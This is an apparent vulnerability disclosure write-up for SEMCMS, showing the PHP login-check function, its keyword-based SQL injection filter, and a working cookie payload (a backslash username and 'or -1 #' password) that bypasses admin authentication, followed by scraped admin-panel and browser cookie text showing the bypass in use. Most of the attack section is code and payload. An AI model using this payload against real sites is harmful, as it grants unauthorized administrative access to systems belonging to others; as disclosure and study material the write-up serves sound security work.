cve-vul Update backstage_access_control.md History

1 contributor

23 lines (20 sloc) | 950 Bytes

backstage_access_control

Vulnerabilities is exist \Include\contorl.php 128 line

```php
function checkuser($db_conn){ //判断用户是否登陆

    $cookieuseradmin=@verify_str(test_input($_COOKIE["scuseradmin"]));
    $cookieuserpass=@verify_str(test_input($_COOKIE["scuserpass"]));

    $query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");

    if (mysqli_num_rows($query)>0){

        $row=mysqli_fetch_assoc($query);
        return $row['user_qx'];

     }else{

        echo "<script language='javascript'>alert('账号密码不正确重新登陆！');top.location.href='index.html';</script>";
        exit;
    }

}
```

Function checkuser is Determine whether the user is logged in or not

In line 187

```
$query=$db_conn->query("select * from sc_user where user_admin='$cookieuseradmin' and user_ps='$cookieuserpass'");
```

Variables $cookieuseradmin and $cookieuserpass are obtained from cookies

And through test_input() and verify_str() two detection functions

```php
function inject_check_sql($sql_str) {

    return preg_match('/select|insert|=|%|<|between|update|\'|\*|union|into|load_file|outfile/i',$sql_str);
}

function verify_str($str) {

  if(inject_check_sql($str)) {

     exit('Sorry,You do this is wrong! (.-.)');
   }

   return $str;
}

function test_input($data) {
    $data = str_replace("%", "percent", $data);
    $data = trim($data);
    $data = stripslashes($data);
    $data = htmlspecialchars($data,ENT_QUOTES);
    return $data;

  }
```

So,Universal password "or 1 = 1" is not feasible. The equality sign is filtered in the verify_str function. But! Password "or-1" is OK,So the final payload is:

```
Payload:
select * from sc_user where user_admin='\' and user_ps=' or -1 #'
```


localhost/8YMYUE_Admin/SEMCMS_Main.php
密码学（Crypto）一...
Python 基础教程 | 菜...
名企真题-训练-【赛...
Reversing.Kr
APT历年文档
SEMCMS
综合管理
参数设置
用户管理
模版管理
询盘管理
语种管理
邮箱订阅
图库管理
SQL执行
站点管理
后台首页 > 欢迎使用SEMCMS外贸网站管理系统
系统信息
系统要求
Apache 2.2.1 + PHP版本:5.3.1 + Mysql版本:5.5.2
Web服务器：
PHP版本：
MySQL版本：
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
5.2.17
5.5.53
远程文件获取：
最大上传限制：
最大执行时间：
支持
2M
30秒
服务器解译引擎：
服务器语言：
用户域名：
Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.2.17
zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
localhost
打赏
尊敬的用户：本系统开源免费使用，谢谢你们一如既往的支持，以下是微信打赏的二维码，欢迎打赏！！！谢谢！
公告
公告
查看器
控制台
调试器
样式编辑器
性能
内存
网络
存储
无障碍环境
HackBar
Cookie
http://localhost
http://www.sem-cms.com
会话存储
项目过滤器
名称
域名
路径
过期时间
最后访问
值
HttpOnly
scuseradmin
localhost
/8YMYUE_Ad...
Mon, 29 Apr 2019 04:25:08 GMT
Sun, 28 Apr 2019 04:25:18 GMT
\
false
scuserpass
localhost
/8YMYUE_Ad...
Mon, 29 Apr 2019 04:24:51 GMT
Sun, 28 Apr 2019 04:25:03 GMT
or -1 #
false